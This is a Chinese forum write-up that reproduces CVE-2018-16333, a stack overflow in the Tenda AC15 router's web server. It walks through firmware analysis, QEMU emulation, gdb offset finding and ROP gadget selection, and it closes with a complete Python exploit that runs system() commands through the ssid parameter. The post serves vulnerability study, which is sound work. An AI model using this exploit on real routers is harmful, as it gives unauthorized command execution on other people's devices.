-
-
[分享]Tenda AC15 路由器栈溢出漏洞复现(CVE-2018-16333)
-
发表于:
2022-10-13 20:50
25578
-
[分享]Tenda AC15 路由器栈溢出漏洞复现(CVE-2018-16333)
Tenda AC15 栈溢出漏洞(CVE-2018-16333)
漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。
固件版本:US_AC15V1.0BR_V15.03.05.19_multi_TD01
漏洞分析
binwalk解压固件
漏洞存在在解压出的./squashfs-root/bin目录下httpd文件中,arm小端,开了NX
ida打开,根据ssid字符串定位到form_fast_setting_wifi_set函数。
程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。
其中:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。
为了将src指针覆盖为有效地址,并且不影响第一次的strcpy,选择在libc中选择一个可读地址覆盖src指针。
1 2 3 4 5 | $ ROPgadget - - binary . / libc.so. 0 - - only "pop" | grep r3
0x00018298 : pop {r3, pc}
$ ROPgadget - - binary . / libc.so. 0 - - only "mov|blx"
0x00040cb8 : mov r0, sp ; blx r3
|
利用过程:
1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2
2、跳转到gadget2后,控制r0为要执行的命令即可
3、执行system(cmd)
qemu用户级调试
1 2 | cp $(which qemu - arm - static) .
sudo chroot . / . / qemu - arm - static . / bin / httpd
|
根据字符串定位到程序,发现程序要check网络,用ida将返回值patch为1
替换原来的httpd,chmod +x 重新启动, 报错
同理根据字符串定位到程序,将函数返回值patch为1
发现获取的ip地址不对
查阅资料得程序是从名为br0得网卡获取地址,在本机建立虚拟网桥br0并重新执行程序
1 2 3 4 5 6 7 8 9 | apt - get install bridge - utils
apt - get install uml - utilities
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo chroot . / . / qemu - arm - static . / bin / httpd
|
可以看到获取到的已经是本机的ip地址,程序正常运行
在函数返回之前,下面代码会导致函数卡住,直接patch if判断条件为假即可
qemu系统级调试
为了方便调试,我们用qemu系统级来模拟程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | 主机
sudo tunctl - t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 up
sudo ifconfig tap0 192.168 . 0.100 / 24
qemu
sudo qemu - system - arm - M vexpress - a9 - kernel vmlinuz - 3.2 . 0 - 4 - vexpress - initrd initrd.img - 3.2 . 0 - 4 - vexpress - drive if = sd, file = debian_wheezy_armhf_standard.qcow2 - append "root=/dev/mmcblk0p2" - net nic - net tap,ifname = tap0,script = no,downscript = no - nographic
user:root
password:root
ifconfig eth0 192.168 . 0.76 / 24
ifconfig
scp - r . / squashfs - root root@ 192.168 . 0.100 : / root
mount - t proc / proc . / squashfs - root / proc
mount - o bind / dev . / squashfs - root / dev
chroot . / squashfs - root / sh
brctl addbr br0
ifconfig br0 192.168 . 0.76 / 24 up
echo 0 > / proc / sys / kernel / randomize_va_space
. / bin / httpd
ifconfig eth0 down
ifconfig br0 down
brctl stp br0 on
brctl setfd br0 2
brctl sethello br0 1
ifconfig br0 0.0 . 0.0 promisc up
ifconfig eth0 0.0 . 0.0 promisc up
dhclient br0
ifconfig tap0 down
ifconfig tap0 0.0 . 0.0 promisc up
ifconfig tap0 192.168 . 0.100 / 24 up
虚拟机ping通主机就可以
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | ctrl z
bg
4075 0 0 : 05 / bin / httpd
Attached; pid = 4075
Listening on port 12345
ctrl z
bg
fg % 1
gdb - multiarch . / bin / httpd
set architecture arm
set endian little
target remote 192.168 . 0.76 : 12345
b * 0x0006707C
|
用exp发送数据包,gdb输入c继续运行,断在第一处strcpy函数处
由图中可以算出目标地址距返回地址的长度为0x7efffa54-0x7efff9d8=0x7c
继续运行程序,到第二个strcpy处
第二处strcpy又对src进行读取,由调试中也可以看到,src在栈上距离栈底长度为28处。即0x1c。构造exp时需要在0x7c-0x1C=0x60后加入一个可读字段的地址
所以构造exp:
payload = b'a'(0x60) + p32(readable_addr) + b'b'(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
在返回地址处打断点 b *0x00067758,可以看到栈上返回地址已经被劫持成我们构造的ROP链
继续运行,可以看到命令成功执行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import requests
from pwn import *
cmd = b "echo hello"
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b 'a' * ( 0x60 ) + p32(readable_addr) + b 'b' * ( 0x20 - 8 )
payload + = p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.2.2/goform/fast_setting_wifi_set"
cookie = { "Cookie" : "password=12345" }
data = { "ssid" : payload}
response = requests.post(url, cookies = cookie, data = data)
response = requests.post(url, cookies = cookie, data = data)
print (response.text)
|
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2022-10-13 21:04
被五两编辑
,原因: